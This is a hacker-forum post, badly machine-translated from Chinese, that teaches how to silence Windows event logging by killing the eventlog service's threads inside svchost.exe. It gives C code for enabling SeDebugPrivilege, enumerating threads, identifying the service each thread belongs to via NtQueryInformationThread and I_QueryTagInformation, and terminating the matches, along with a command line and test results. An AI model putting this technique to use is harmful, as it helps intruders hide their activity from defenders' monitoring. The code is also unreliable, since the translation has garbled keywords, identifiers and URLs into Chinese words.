跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

利用API NtQueryInformationThread和查询信息实现对温德沃斯日志监控的绕过


HACK7YD

推荐的帖子

0x00 前言

在上篇文章《渗透技巧——Windows日志的删除与绕过》 中提到一个绕过Windows操作系统操作系统日志监控的思路:使用API NtQueryInformationThread和查询信息获取线程对应的服务,关闭对应日志记录功能的线程,能够破坏日志功能,并且Windows操作系统事件日志服务没有被破坏,状态仍为正在运行。本文将要对其详细介绍,分享使用c在编写程序上需要注意的细节。

0x01 简介

本文将要介绍以下内容:

程序自身提权

遍历进程中的所有线程

根据线程tid,获取对应的进程pid

根据线程tid,获取对应的服务名称

结束线程

0x02 程序实现

开发工具:VS2012

开发语言:c

1、定位eventlog服务对应进程svchost.exe的pid

powershell代码如下:

get-wmio object-Class win32 _ service-Filter ' name=' event log ' ' | select-exp ProcessId

通过回显能够找出进程svchost.exe的pid

2、程序自身提权,以管理员权限执行

因为进程svchost.exe为系统权限,所以对其线程进行操作也需要高权限,因此,程序需要先提升至管理员权限

提权至管理员权限的代码如下:

BOOL SetPrivilege()

{

处理托肯

TOKEN _ PRIVILEGES新状态

LUID流体;

如果(!OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES,hToken)||!LookupPrivilegeValue(NULL,SE_DEBUG_NAME,luidPrivilegeLUID))

{

printf('设置特权错误\ n ');

返回错误的

}

新状态. PrivilegeCount=1;

新状态。权限[0]。Luid=luidPrivilegeLUID

新状态。权限[0]。属性=SE _特权_已启用

如果(!AdjustTokenPrivileges(hToken,FALSE,NewState,NULL,NULL,NULL))

{

printf(' AdjustTokenPrivilege Errro \ n ');

返回错误的

}

返回真实的

}

3、遍历进程中的所有线程

定位进程svchost.exe后,需要遍历该进程中的所有线程,然后进行筛选

根据进程pid遍历其子进程的代码如下:

布尔值列表处理线程(双字pid)

{

HANDLE hThreadSnap=INVALID _ HANDLE _ VALUE;

THREADENTRY32 te32

hThreadSnap=createtoolhelp 32 snapshot(th 32 cs _ snap线程,0);

if(hThreadSnap==INVALID _ HANDLE _ VALUE)

返回(假);

te32。dwsize=sizeof(线程条目32);

如果(!Thread32First(hThreadSnap,te32))

{

printf('线程32优先');

关闭手柄(hThreadSnap);

返回(假);

}

{

if(te32。th 32 ownerprocessid==PID)

printf('tid=%d\n ',te32。th 32 threadid);

} while(thread 32 next(hThreadSnap,te32));

关闭手柄(hThreadSnap);

返回(真);

}

获取进程中的所有线程tid,如下图

2-1.png

4、判断线程是否满足条件

筛选出Windows操作系统事件日志服务对应的线程,方法如下:

根据线程tid,获取对应的服务名称

可参考以下链接:

https://wj 32。org/WP/2010/03/30/how-to-use-I _ query tagination/

文中提到,需要使用三个API:

NtQueryInformationThread:

来自ntdll.dll

动态链接库路径:%WinDir%\System32\

使用国际开发协会对其验证,查看ntdll.dll的导出函数,能够发现应用程序接口函数NtQueryInformationThread,如下图

3-1.png

具体使用方式:

typedef nt status(WINAPI * FN _ ntqueryinfoformationthread)(HANDLE,THREAD_INFORMATION_CLASS,PVOID,ULONG,PULONG);

FN _ ntqueryinfoformationthread pfn nt queryinfoformationthread=NULL;

pfnntqueryinfoformationthread=(FN _ ntqueryinfoformationthread)GetProcAddress(GetModuleHandle(_ T(' ntdll ')),' ntqueryinfoformationthread ');

I_QueryTagInformation:

来自advapi32.dll

动态链接库路径:%WinDir%\System32\下

使用国际开发协会对其验证,查看advapi32.dll的导出函数,能够发现应用程序接口函数I_QueryTagInformation,如下图

3-2.png

具体使用方式:

typedef ULONG(WINAPI * FN _ I _ QUERY标签信息)(PV oid,SC_SERVICE_TAG_QUERY_TYPE,PSC _ SERVICE _ TAG _ QUERY);

FN _ I _ QueryTagInformation pfnI _ QueryTagInformation=NULL;

h模块advapi 32=LoadLibrary(L ' advapi 32。dll’);

pfnI _ QueryTagInformation=(FN _ I _ QueryTagInformation)GetProcAddress(advapi 32,' I _ QueryTagInformation ');

NtReadVirtualMemory:

可使用ReadProcessMemory代替

更为完整的代码实例可参考如下链接:

http://blog.naver.com/PostView.nhn?blogId=gloryologNo=110129121084 redirect=DlogwidgetTypeCall=true

该文章分享了一段代码,提供进程pid和线程tid,能够获取对应的服务名称

当然,我们需要对该代码作改进,不需要提供进程pid,只需要线程每日三次就好

根据线程每日三次获取对应进程pid,代码如下:

布尔查询线程基本信息(处理hThread)

{

typedef nt status(WINAPI * FN _ ntqueryinfoformationthread)(HANDLE,THREAD_INFORMATION_CLASS,PVOID,ULONG,PULONG);

FN _ ntqueryinfoformationthread pfn nt queryinfoformationthread=NULL;

pfnntqueryinfoformationthread=(FN _ ntqueryinfoformationthread)GetProcAddress(GetModuleHandle(_ T(' ntdll ')),' ntqueryinfoformationthread ');

THREAD _ BASIC _ INFORMATION threadBasicInfo;

LONG status=pfnNtQueryInformationThread(hThread,threadBasicInfo,threadBasicInfo,sizeof(threadBasicInfo),NULL);

printf('进程身份证明为%u\n ',threadbasicinfo。clientid。独特的工艺);

printf('线程身份证明为%u\n ',threadbasicinfo。clientid。独特的螺纹);

返回真实的

}

测试程序能够通过每日三次获取相关进程pid,运行如下图

3-3.png

至此,我们能够根据提供的线程每日三次判断出对应的进程pid和服务名称

接着,需要添加判断功能,筛选出事件日志服务,进行下一步操作:结束线程

5、结束线程

同结束进程类似,需要提供进程tid,代码如下:

void TerminateEventlogThread(DWORD tid)

{

HANDLE hThread=OpenThread(0x 0001,FALSE,tid);

if(TerminateThread(hThread,0)==0)

printf(' -错误!\ n’);

其他

printf(' -成功!\ n’);

关闭手柄(hThread);

}

综上,将所有功能集成到一个程序中,使用时只需要提供进程svchost.exe的pid就好

完整源代码下载地址:

https://github。com/3g student/Windwos-事件日志-Bypass/blob/master/windowseventlogbypass。卡片打印处理机(Card Print Processor的缩写)

0x03 实际测试

获取进程svchost.exe的pid:

get-wmio object-Class win32 _ service-Filter ' name=' event log ' ' | select-exp ProcessId

获得pid为916

运行WindowsEventLogBypass.exe,添加pid

参数如下:

WindowsEventLogBypass.exe 916

实际测试,如下图

4-1.png

成功结束线程,日志功能失效,如下图

4-2.png

0x04 小结

本文介绍了使用c编写程序绕过Windows操作系统操作系统日志的技巧,同Halil Dalabasmaz@hlldz分享的Powershell工程Invoke-Phant0m结合学习,希望能够帮助大家更好的了解这项技术。

留下回复

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...